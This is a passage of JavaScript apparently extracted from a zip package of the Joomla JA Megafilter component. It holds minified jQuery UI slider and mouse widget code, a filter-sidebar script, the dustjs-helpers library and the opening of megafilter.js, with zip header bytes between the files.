e=t.extend({element:this.element,classes:this.options.classes||{}},e),this._on(e.element,{remove:"_untrackClassesElement"}),e.keys&&i(e.keys.match(/\S+/g)||[],!0),e.extra&&i(e.extra.match(/\S+/g)||[]),s.join("
")},_untrackClassesElement:function(e){var
i=this;t.each(i.classesElementLookup,function(s,n){-1!==t.inArray(e.target,n)&&(i.classesElementLookup[s]=t(n.not(e.target).get()))})},_removeClass:function(t,e,i){return
this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return
this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,s){s="boolean"==typeof
s?s:i;var n="string"==typeof
t||null===t,o={extra:n?e:i,keys:n?t:e,element:n?this.element:t,add:s};return
o.element.toggleClass(this._classes(o),s),this},_on:function(e,i,s){var
n,o=this;"boolean"!=typeof
e&&(s=i,i=e,e=!1),s?(i=n=t(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),t.each(s,function(s,a){function
r(){return
e||o.options.disabled!==!0&&!t(this).hasClass("ui-state-disabled")?("string"==typeof
a?o[a]:a).apply(o,arguments):void 0}"string"!=typeof
a&&(r.guid=a.guid=a.guid||r.guid||t.guid++);var
l=s.match(/^([\w:-]*)\s*(.*)$/),h=l[1]+o.eventNamespace,c=l[2];c?n.on(h,c,r):i.on(h,r)})},_off:function(e,i){i=(i||"").split("
").join(this.eventNamespace+"
")+this.eventNamespace,e.off(i).off(i),this.bindings=t(this.bindings.not(e).get()),this.focusable=t(this.focusable.not(e).get()),this.hoverable=t(this.hoverable.not(e).get())},_delay:function(t,e){function
i(){return("string"==typeof t?s[t]:t).apply(s,arguments)}var
s=this;return
setTimeout(i,e||0)},_hoverable:function(e){this.hoverable=this.hoverable.add(e),this._on(e,{mouseenter:function(e){this._addClass(t(e.currentTarget),null,"ui-state-hover")},mouseleave:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-hover")}})},_focusable:function(e){this.focusable=this.focusable.add(e),this._on(e,{focusin:function(e){this._addClass(t(e.currentTarget),null,"ui-state-focus")},focusout:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-focus")}})},_trigger:function(e,i,s){var
n,o,a=this.options[e];if(s=s||{},i=t.Event(i),i.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase(),i.target=this.element[0],o=i.originalEvent)for(n
in o)n in i||(i[n]=o[n]);return
this.element.trigger(i,s),!(t.isFunction(a)&&a.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Widget.prototype["_"+e]=function(s,n,o){"string"==typeof
n&&(n={effect:n});var a,r=n?n===!0||"number"==typeof
n?i:n.effect||i:e;n=n||{},"number"==typeof
n&&(n={duration:n}),a=!t.isEmptyObject(n),n.complete=o,n.delay&&s.delay(n.delay),a&&t.effects&&t.effects.effect[r]?s[e](n):r!==e&&s[r]?s[r](n.duration,n.easing,o):s.queue(function(i){t(this)[e](),o&&o.call(s[0]),i()})}}),t.widget,t.ui.keyCode={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38},t.ui.ie=!!/msie
[\w.]+/.exec(navigator.userAgent.toLowerCase());var
s=!1;t(document).on("mouseup",function(){s=!1}),t.widget("ui.mouse",{version:"1.12.1",options:{cancel:"input,
textarea, button, select,
option",distance:1,delay:0},_mouseInit:function(){var
e=this;this.element.on("mousedown."+this.widgetName,function(t){return
e._mouseDown(t)}).on("click."+this.widgetName,function(i){return!0===t.data(i.target,e.widgetName+".preventClickEvent")?(t.removeData(i.target,e.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void
0}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){if(!s){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),this._mouseDownEvent=e;var
i=this,n=1===e.which,o="string"==typeof
this.options.cancel&&e.target.nodeName?t(e.target).closest(this.options.cancel).length:!1;return
n&&!o&&this._mouseCapture(e)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(e)!==!1,!this._mouseStarted)?(e.preventDefault(),!0):(!0===t.data(e.target,this.widgetName+".preventClickEvent")&&t.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return
i._mouseMove(t)},this._mouseUpDelegate=function(t){return
i._mouseUp(t)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),s=!0,!0)):!0}},_mouseMove:function(e){if(this._mouseMoved){if(t.ui.ie&&(!document.documentMode||9>document.documentMode)&&!e.button)return
this._mouseUp(e);if(!e.which)if(e.originalEvent.altKey||e.originalEvent.ctrlKey||e.originalEvent.metaKey||e.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else
if(!this.ignoreMissingWhich)return
this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,e)!==!1,this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&t.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete
this._mouseDelayTimer),this.ignoreMissingWhich=!1,s=!1,e.preventDefault()},_mouseDistanceMet:function(t){return
Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return
this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),t.widget("ui.slider",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"slide",options:{animate:!1,classes:{"ui-slider":"ui-corner-all","ui-slider-handle":"ui-corner-all","ui-slider-range":"ui-corner-all
ui-widget-header"},distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},numPages:5,_create:function(){this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this._calculateNewMax(),this._addClass("ui-slider
ui-slider-"+this.orientation,"ui-widget
ui-widget-content"),this._refresh(),this._animateOff=!1},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var
e,i,s=this.options,n=this.element.find(".ui-slider-handle"),o="<span
tabindex='0'></span>",a=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),e=n.length;i>e;e++)a.push(o);this.handles=n.add(t(a.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each(function(e){t(this).data("ui-slider-handle-index",e).attr("tabIndex",0)})},_createRange:function(){var
e=this.options;e.range?(e.range===!0&&(e.values?e.values.length&&2!==e.values.length?e.values=[e.values[0],e.values[0]]:t.isArray(e.values)&&(e.values=e.values.slice(0)):e.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min
ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=t("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),("min"===e.range||"max"===e.range)&&this._addClass(this.range,"ui-slider-range-"+e.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(e){var
i,s,n,o,a,r,l,h,c=this,u=this.options;return
u.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:e.pageX,y:e.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(e){var
i=Math.abs(s-c.values(e));(n>i||n===i&&(e===c._lastChangedValue||c.values(e)===u.min))&&(n=i,o=t(this),a=e)}),r=this._start(e,a),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=a,this._addClass(o,null,"ui-state-active"),o.trigger("focus"),l=o.offset(),h=!t(e.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=h?{left:0,top:0}:{left:e.pageX-l.left-o.width()/2,top:e.pageY-l.top-o.height()/2-(parseInt(o.css("borderTopWidth"),10)||0)-(parseInt(o.css("borderBottomWidth"),10)||0)+(parseInt(o.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(e,a,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(t){var
e={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(e);return
this._slide(t,this._handleIndex,i),!1},_mouseStop:function(t){return
this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(t,this._handleIndex),this._change(t,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(t){var
e,i,s,n,o;return"horizontal"===this.orientation?(e=this.elementSize.width,i=t.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(e=this.elementSize.height,i=t.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/e,s>1&&(s=1),0>s&&(s=0),"vertical"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),o=this._valueMin()+s*n,this._trimAlignValue(o)},_uiHash:function(t,e,i){var
s={handle:this.handles[t],handleIndex:t,value:void
0!==e?e:this.value()};return
this._hasMultipleValues()&&(s.value=void
0!==e?e:this.values(t),s.values=i||this.values()),s},_hasMultipleValues:function(){return
this.options.values&&this.options.values.length},_start:function(t,e){return
this._trigger("start",t,this._uiHash(e))},_slide:function(t,e,i){var
s,n,o=this.value(),a=this.values();this._hasMultipleValues()&&(n=this.values(e?0:1),o=this.values(e),2===this.options.values.length&&this.options.range===!0&&(i=0===e?Math.min(n,i):Math.max(n,i)),a[e]=i),i!==o&&(s=this._trigger("slide",t,this._uiHash(e,i,a)),s!==!1&&(this._hasMultipleValues()?this.values(e,i):this.value(i)))},_stop:function(t,e){this._trigger("stop",t,this._uiHash(e))},_change:function(t,e){this._keySliding||this._mouseSliding||(this._lastChangedValue=e,this._trigger("change",t,this._uiHash(e)))},value:function(t){return
arguments.length?(this.options.value=this._trimAlignValue(t),this._refreshValue(),this._change(null,0),void
0):this._value()},values:function(e,i){var
s,n,o;if(arguments.length>1)return
this.options.values[e]=this._trimAlignValue(i),this._refreshValue(),this._change(null,e),void
0;if(!arguments.length)return
this._values();if(!t.isArray(arguments[0]))return
this._hasMultipleValues()?this._values(e):this.value();for(s=this.options.values,n=arguments[0],o=0;s.length>o;o+=1)s[o]=this._trimAlignValue(n[o]),this._change(null,o);this._refreshValue()},_setOption:function(e,i){var
s,n=0;switch("range"===e&&this.options.range===!0&&("min"===i?(this.options.value=this._values(0),this.options.values=null):"max"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),t.isArray(this.options.values)&&(n=this.options.values.length),this._super(e,i),e){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal
ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(i),this.handles.css("horizontal"===i?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),s=n-1;s>=0;s--)this._change(null,s);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(t){this._super(t),this._toggleClass(null,"ui-state-disabled",!!t)},_value:function(){var
t=this.options.value;return
t=this._trimAlignValue(t)},_values:function(t){var
e,i,s;if(arguments.length)return
e=this.options.values[t],e=this._trimAlignValue(e);if(this._hasMultipleValues()){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return
i}return[]},_trimAlignValue:function(t){if(this._valueMin()>=t)return
this._valueMin();if(t>=this._valueMax())return this._valueMax();var
e=this.options.step>0?this.options.step:1,i=(t-this._valueMin())%e,s=t-i;return
2*Math.abs(i)>=e&&(s+=i>0?e:-e),parseFloat(s.toFixed(5))},_calculateNewMax:function(){var
t=this.options.max,e=this._valueMin(),i=this.options.step,s=Math.round((t-e)/i)*i;t=s+e,t>this.options.max&&(t-=i),this.max=parseFloat(t.toFixed(this._precision()))},_precision:function(){var
t=this._precisionOf(this.options.step);return
null!==this.options.min&&(t=Math.max(t,this._precisionOf(this.options.min))),t},_precisionOf:function(t){var
e=""+t,i=e.indexOf(".");return-1===i?0:e.length-i-1},_valueMin:function(){return
this.options.min},_valueMax:function(){return
this.max},_refreshRange:function(t){"vertical"===t&&this.range.css({width:"",left:""}),"horizontal"===t&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var
e,i,s,n,o,a=this.options.range,r=this.options,l=this,h=this._animateOff?!1:r.animate,c={};this._hasMultipleValues()?this.handles.each(function(s){i=100*((l.values(s)-l._valueMin())/(l._valueMax()-l._valueMin())),c["horizontal"===l.orientation?"left":"bottom"]=i+"%",t(this).stop(1,1)[h?"animate":"css"](c,r.animate),l.options.range===!0&&("horizontal"===l.orientation?(0===s&&l.range.stop(1,1)[h?"animate":"css"]({left:i+"%"},r.animate),1===s&&l.range[h?"animate":"css"]({width:i-e+"%"},{queue:!1,duration:r.animate})):(0===s&&l.range.stop(1,1)[h?"animate":"css"]({bottom:i+"%"},r.animate),1===s&&l.range[h?"animate":"css"]({height:i-e+"%"},{queue:!1,duration:r.animate}))),e=i}):(s=this.value(),n=this._valueMin(),o=this._valueMax(),i=o!==n?100*((s-n)/(o-n)):0,c["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[h?"animate":"css"](c,r.animate),"min"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({width:i+"%"},r.animate),"max"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({width:100-i+"%"},r.animate),"min"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({height:i+"%"},r.animate),"max"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[h?"animate":"css"]({height:100-i+"%"},r.animate))},_handleEvents:{keydown:function(e){var
i,s,n,o,a=t(e.target).data("ui-slider-handle-index");switch(e.keyCode){case
t.ui.keyCode.HOME:case t.ui.keyCode.END:case t.ui.keyCode.PAGE_UP:case
t.ui.keyCode.PAGE_DOWN:case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:case
t.ui.keyCode.DOWN:case
t.ui.keyCode.LEFT:if(e.preventDefault(),!this._keySliding&&(this._keySliding=!0,this._addClass(t(e.target),null,"ui-state-active"),i=this._start(e,a),i===!1))return}switch(o=this.options.step,s=n=this._hasMultipleValues()?this.values(a):this.value(),e.keyCode){case
t.ui.keyCode.HOME:n=this._valueMin();break;case
t.ui.keyCode.END:n=this._valueMax();break;case
t.ui.keyCode.PAGE_UP:n=this._trimAlignValue(s+(this._valueMax()-this._valueMin())/this.numPages);break;case
t.ui.keyCode.PAGE_DOWN:n=this._trimAlignValue(s-(this._valueMax()-this._valueMin())/this.numPages);break;case
t.ui.keyCode.UP:case
t.ui.keyCode.RIGHT:if(s===this._valueMax())return;n=this._trimAlignValue(s+o);break;case
t.ui.keyCode.DOWN:case
t.ui.keyCode.LEFT:if(s===this._valueMin())return;n=this._trimAlignValue(s-o)}this._slide(e,a,n)},keyup:function(e){var
i=t(e.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(e,i),this._change(e,i),this._removeClass(t(e.target),null,"ui-state-active"))}}})});PK�v�[l�Vassets/js/script.jsnu�[���function
initScript() {
// accordion menu filter critirea
jQuery('dt.filter-options-title').off().unbind().click(function()
{
// do not use collapse with horizontal.
if
(jQuery('.ja-mg-sidebar').hasClass('sb-horizontal'))
return false;
//collapsed
if (jQuery(this).hasClass('collapsed')) {
jQuery(this).removeClass('collapsed');
jQuery(this).next().slideDown( function() {
recalc_sticky(jQuery('.sidebar-main'));
});
} else {
jQuery(this).addClass('collapsed');
jQuery(this).next().slideUp( function() {
recalc_sticky(jQuery('.sidebar-main'));
});
}
// save to cookie
var arrTab = new Array();
jQuery('dt.filter-options-title').each(function(i){
arrTab[i] = jQuery(this).hasClass('collapsed');
});
jQuery.cookie(jQuery('.ja-mg-sidebar').data('mgfilter'),
arrTab);
});
// change layout product list.
jQuery('.jamg-layout-chooser>span').off().unbind().click(function()
{
jQuery('.jamg-layout-chooser>span').removeClass('active');
jQuery('.jamg-layout-chooser>span[data-layout="'+jQuery(this).attr('data-layout')+'"]').addClass('active');
jQuery('.ja-products-wrapper.products.wrapper')
.removeClass('grid products-grid list products-list')
.addClass(jQuery(this).attr('data-layout')+'
products-'+jQuery(this).attr('data-layout'));
recalc_sticky(jQuery('.sidebar-main'));
jQuery.event.trigger('jamg-layout-change');
jamegafilter_default_result_view =
jQuery(this).attr('data-layout');
});
// default trigger change layout
jQuery('.jamg-layout-chooser>span').removeClass('active');
jQuery('.jamg-layout-chooser>span[data-layout="'+jamegafilter_default_result_view+'"]').addClass('active');
jQuery('.ja-products-wrapper.products.wrapper')
.removeClass('grid products-grid list products-list')
.addClass(jamegafilter_default_result_view+'
products-'+jamegafilter_default_result_view);
// trigger collapse critirie
if
(!jQuery.cookie(jQuery('.ja-mg-sidebar').data('mgfilter')))
{
jQuery.cookie(jQuery('.ja-mg-sidebar').data('mgfilter'),
'');
}
// do not use collapse with horizontal.
if
(!jQuery('.ja-mg-sidebar').hasClass('sb-horizontal')
&& jQuery('.ja-mg-sidebar').data('mgfilter')) {
var data =
jQuery.cookie(jQuery('.ja-mg-sidebar').data('mgfilter'));
arrTab = data.split(',');
jQuery('dt.filter-options-title').each(function(i){
if (arrTab[i] == "true") {
jQuery(this).addClass('collapsed');
jQuery(this).next().slideUp( function() {
recalc_sticky(jQuery('.sidebar-main'));
});
}
});
}
// default order Class
addFilterWarperClass(undefined);
jQuery('.ja-megafilter-wrap .ja-toolbar-wrapper
select').chosen({
disable_search_threshold: 10,
placeholder_text_multiple:
Joomla.JText._('COM_JAMEGAFILTER_MULTIPLE_SELECT_PLACEHOLDER')
});
}
function addFilterWarperClass(ele) {
if (ele === undefined) {
ele = jQuery('.sorter-options');
// in case the site custom remove the sorting.
if (!ele.length)
return;
}
ele.find('option').each(function(){
var _class =
jQuery(this).attr('value').replace('attr.',
'').replace('.frontend_value', '');
jQuery('.ja-megafilter-wrapper,
.ja-megafilter-wrap').removeClass('ja-'+_class);
});
var _class = ele.val().replace('attr.',
'').replace('.frontend_value', '');
jQuery('.ja-megafilter-wrapper,
.ja-megafilter-wrap').addClass('ja-'+_class);
}
function openShift(obj) {
jQuery(obj).parent().parent().find('li:hidden').show();
jQuery(obj).hide();
}
function recalc_sticky(elem) {
if (typeof elem.stick_in_parent === 'function') {
elem.trigger('sticky_kit:recalc');
}
};PK�v�[��:ZZassets/js/dust-helpers.min.jsnu�[���/*!
dustjs-helpers - v1.7.3
* http://dustjs.com/
* Copyright (c) 2015 Aleksander Williams; Released under the MIT License */
!function(a,b){"function"==typeof
define&&define.amd&&define.amd.dust===!0?define(["dust.core"],b):"object"==typeof
exports?module.exports=b(require("dustjs-linkedin")):b(a.dust)}(this,function(dust){function
a(a,b,c){c=c||"INFO",a=a?"{@"+a+"}:
":"",dust.log(a+b,c)}function
b(b){k[b]||(a(b,"Deprecation warning: "+b+" is deprecated
and will be removed in a future version of
dustjs-helpers","WARN"),a(null,"For help and a
deprecation timeline, see
https://github.com/linkedin/dustjs-helpers/wiki/Deprecated-Features#"+b.replace(/\W+/g,""),"WARN"),k[b]=!0)}function
c(a){return
a.stack.tail&&a.stack.tail.head&&"undefined"!=typeof
a.stack.tail.head.__select__}function d(a){return
c(a)&&a.get("__select__")}function e(a,b){var
c,d=a.stack.head,e=a.rebase();a.stack&&a.stack.tail&&(e.stack=a.stack.tail);var
f={isPending:!1,isResolved:!1,isDeferredComplete:!1,deferreds:[]};for(c in
b)f[c]=b[c];return
e.push({__select__:f}).push(d,a.stack.index,a.stack.of)}function f(a){var
b,c;if(a.isDeferredPending=!0,a.deferreds.length)for(a.isDeferredComplete=!0,b=0,c=a.deferreds.length;c>b;b++)a.deferreds[b]();a.isDeferredPending=!1}function
g(a,b){return"function"==typeof
b?b.toString().replace(/(^\s+|\s+$)/gm,"").replace(/\n/gm,"").replace(/,\s*/gm,",
").replace(/\)\{/gm,") {"):b}function h(a,b){return
function(c,d,e,f){return i(c,d,e,f,a,b)}}function i(b,c,e,f,g,h){var
i,k,l,m,n=e.block,o=e["else"],p=d(c)||{};if(p.isResolved&&!p.isDeferredPending)return
b;if(f.hasOwnProperty("key"))k=f.key;else{if(!p.hasOwnProperty("key"))return
a(g,"No key specified","WARN"),b;k=p.key}return
m=f.type||p.type,k=j(c.resolve(k),m),l=j(c.resolve(f.value),m),h(k,l)?(p.isPending||(i=!0,p.isPending=!0),n&&(b=b.render(n,c)),i&&(p.isResolved=!0)):o&&(b=b.render(o,c)),b}function
j(a,b){switch(b&&(b=b.toLowerCase()),b){case"number":return+a;case"string":return
String(a);case"boolean":return
a="false"===a?!1:a,Boolean(a);case"date":return new
Date(a)}return a}var k={},l={tap:function(a,c,d){return
b("tap"),d.resolve(a)},sep:function(a,b,c){var d=c.block;return
b.stack.index===b.stack.of-1?a:d?d(a,b):a},first:function(a,b,c){return
0===b.stack.index?c.block(a,b):a},last:function(a,b,c){return
b.stack.index===b.stack.of-1?c.block(a,b):a},contextDump:function(b,c,d,e){var
f,h,i=c.resolve(e.to),j=c.resolve(e.key);switch(j){case"full":f=c.stack;break;default:f=c.stack.head}switch(h=JSON.stringify(f,g,2),i){case"console":a("contextDump",h);break;default:h=h.replace(/</g,"\\u003c"),b=b.write(h)}return
b},math:function(b,c,g,h){var
i,j=h.key,k=h.method,l=h.operand,m=h.round;if(!h.hasOwnProperty("key")||!h.method)return
a("math","`key` or `method` was not
provided","ERROR"),b;switch(j=parseFloat(c.resolve(j)),l=parseFloat(c.resolve(l)),k){case"mod":0===l&&a("math","Division
by
0","ERROR"),i=j%l;break;case"add":i=j+l;break;case"subtract":i=j-l;break;case"multiply":i=j*l;break;case"divide":0===l&&a("math","Division
by
0","ERROR"),i=j/l;break;case"ceil":case"floor":case"round":case"abs":i=Math[k](j);break;case"toint":i=parseInt(j,10);break;default:a("math","Method
`"+k+"` is not
supported","ERROR")}return"undefined"!=typeof
i&&(m&&(i=Math.round(i)),g&&g.block?(c=e(c,{key:i}),b=b.render(g.block,c),f(d(c))):b=b.write(i)),b},select:function(b,c,g,h){var
i=g.block,j={};return
h.hasOwnProperty("key")&&(j.key=c.resolve(h.key)),h.hasOwnProperty("type")&&(j.type=h.type),i?(c=e(c,j),b=b.render(i,c),f(d(c))):a("select","Missing
body
block","WARN"),b},eq:h("eq",function(a,b){return
a===b}),ne:h("ne",function(a,b){return
a!==b}),lt:h("lt",function(a,b){return
b>a}),lte:h("lte",function(a,b){return
b>=a}),gt:h("gt",function(a,b){return
a>b}),gte:h("gte",function(a,b){return
a>=b}),any:function(b,c,e,f){var g=d(c);return
g?g.isDeferredComplete?a("any","Must not be nested inside
{@any} or {@none}
block","ERROR"):b=b.map(function(a){g.deferreds.push(function(){g.isResolved&&(a=a.render(e.block,c)),a.end()})}):a("any","Must
be used inside a {@select}
block","ERROR"),b},none:function(b,c,e,f){var g=d(c);return
g?g.isDeferredComplete?a("none","Must not be nested inside
{@any} or {@none}
block","ERROR"):b=b.map(function(a){g.deferreds.push(function(){g.isResolved||(a=a.render(e.block,c)),a.end()})}):a("none","Must
be used inside a {@select}
block","ERROR"),b},size:function(a,b,c,d){var
e,f,g=d.key;if(g=b.resolve(d.key),g&&g!==!0)if(dust.isArray(g))e=g.length;else
if(!isNaN(parseFloat(g))&&isFinite(g))e=g;else
if("object"==typeof g){e=0;for(f in
g)g.hasOwnProperty(f)&&e++}else e=(g+"").length;else
e=0;return a.write(e)}};for(var m in l)dust.helpers[m]=l[m];return
dust});PK�v�[�������assets/js/megafilter.jsnu�[���/**
*
------------------------------------------------------------------------
* JA Megafilter Component
*
------------------------------------------------------------------------
* Copyright (C) 2004-2016 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
* @license - GNU/GPL, http://www.gnu.org/licenses/gpl.html
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
*
------------------------------------------------------------------------
*/
var LNBase = Class.extend(function(){
// private variable
var self = this,
$ = jQuery;
self.type = 'LNBase';
self.options = null;
self.defaultOptions = {
rerenderWhenUpdate: false
};
self.state = {
};
self.items = {};
self.$item = null;
self.data = {};
self.ids = [];
self.matchedIds = [];
self.shownIds = [];
self.showingIds = [];
self.startIdx = 1;
self.endIdx = 0;
self.page = 1;
self.itemPerPage = 12;
self.rendered = false;
self.sortField = 'position';
self.sortDir = 'desc';
self.qs = {};
self.timeout = [];
self.constructor = function (options) {
self.options = $.extend({}, self.defaultOptions, options);
}
self.render = function (callback) {
self.beforeRender();
var e = $.Event('beforeRender');
e.lntype = self.type;
e.lntarget = self;
$(document).trigger(e);
dust.render(self.options.template, self, function(err, out) {
var $el = $(out);
if ($el.length != 1) $el = $('<div>').html(out);
$el.addClass('ln-element').addClass(self.options.class).data('lnid',
self.getId());
if (self.$item) {
self.$item.remove();
self.$item = null;
}
if (callback) {
self.$item = callback($el);
} else {
self.$item = $el.appendTo($(self.options.container).empty());
}
if (self.options.itemWrapper) {
self.$wrapper = self.$item.is(self.options.itemWrapper) ? self.$item :
self.$item.find(self.options.itemWrapper);
}
// find state fields
self.$stateFields = self.$item.find('[data-lnstate]');
self.renderItems();
// Render state value
self.renderStateFields ();
self.afterRender();
self.rendered = true;
var e = $.Event('afterRender');
e.lntype = self.type;
e.lntarget = self;
self.$item.trigger(e);
});
var e = $.Event('completeRender');
e.lntype = self.type;
e.lntarget = self;
self.$item.trigger(e);
}
self.renderStateFields = function () {
if (self.$stateFields.length) {
self.$stateFields.each(function () {
var $field = $(this),
field = $field.data('lnstate'),
value = self.getField (field);
$field.html(value);
})
}
}
self.beforeRender = function () {
if (self.options.beforeRender) self.options.beforeRender.apply(self);
}
self.afterRender = function () {
if (self.options.afterRender) self.options.afterRender.apply(self);
}
self.beforeUpdateRender = function () {
if (self.options.beforeUpdateRender)
self.options.beforeUpdateRender.apply(self);
}
self.afterUpdateRender = function () {
if (self.options.afterUpdateRender)
self.options.afterUpdateRender.apply(self);
}
self.beforeRenderItems = function () {
if (self.options.beforeRenderItems)
self.options.beforeRenderItems.apply(self);
if (!Object.keys(self.items).length) return;
if (self.options.showAllItems) {
self.matchedIds = Object.keys(self.items);
self.endIdx = self.matchedIds.length;
self.startIdx = 1;
} else {
self.endIdx = self.startIdx + self.itemPerPage - 1;
if (self.endIdx > self.matchedIds.length) self.endIdx =
self.matchedIds.length;
}
if (!self.matchedIds || !self.matchedIds.length) return false;
self.showingIds = self.matchedIds.slice(self.startIdx - 1, self.endIdx);
return true;
}
self.afterRenderItems = function () {
if (self.options.afterRenderItems)
self.options.afterRenderItems.apply(self);
}
self.renderItems = function () {
// render children item
if (self.beforeRenderItems()) {
var oldIds = [];
for(var i=0; i<self.shownIds.length; i++) {
// remove old item on page
var id = self.shownIds[i];
if ($.inArray(id, self.showingIds) == -1) {
// remove html item
self.getItem(id).$item.remove();
} else {
oldIds.push(id);
}
}
// Render for new item
self.$currentItem = null;
for(var i=0; i<self.showingIds.length; i++) {
var id = self.showingIds[i];
if ($.inArray(id, oldIds) == -1) {
// render new one
self.renderItem(id);
} else {
var item = self.getItem (id);
item.updateRender();
if (self.$currentItem) item.$item.insertAfter(self.$currentItem);
self.$currentItem = item.$item;
}
}
// update shownIds
self.shownIds = self.showingIds.slice();
} else {
if (self.$wrapper) self.$wrapper.empty();
self.shownIds = []
}
self.afterRenderItems();
}
self.renderItem = function (id) {
var item = self.getItem(id);
item.render(function($item){
$item.addClass(self.options.itemClass);
if (self.$currentItem) $item.insertAfter(self.$currentItem);
else $item.appendTo(self.$wrapper);
self.$currentItem = $item;
return $item;
});
}
self.updateRender = function () {
self.delayCall('_updateRender', 1);
}
self._updateRender = function () {
var e = $.Event('beforeUpdateRender');
e.lntype = self.type;
e.lntarget = self;
self.$item.trigger(e);
if (self.options.rerenderWhenUpdate) {
self.render();
} else {
self.beforeUpdateRender();
self.renderItems();
self.renderStateFields ();
self.afterUpdateRender();
}
if (self.type === 'LNBase' && self.options.autopage) {
self.autoPage();
}
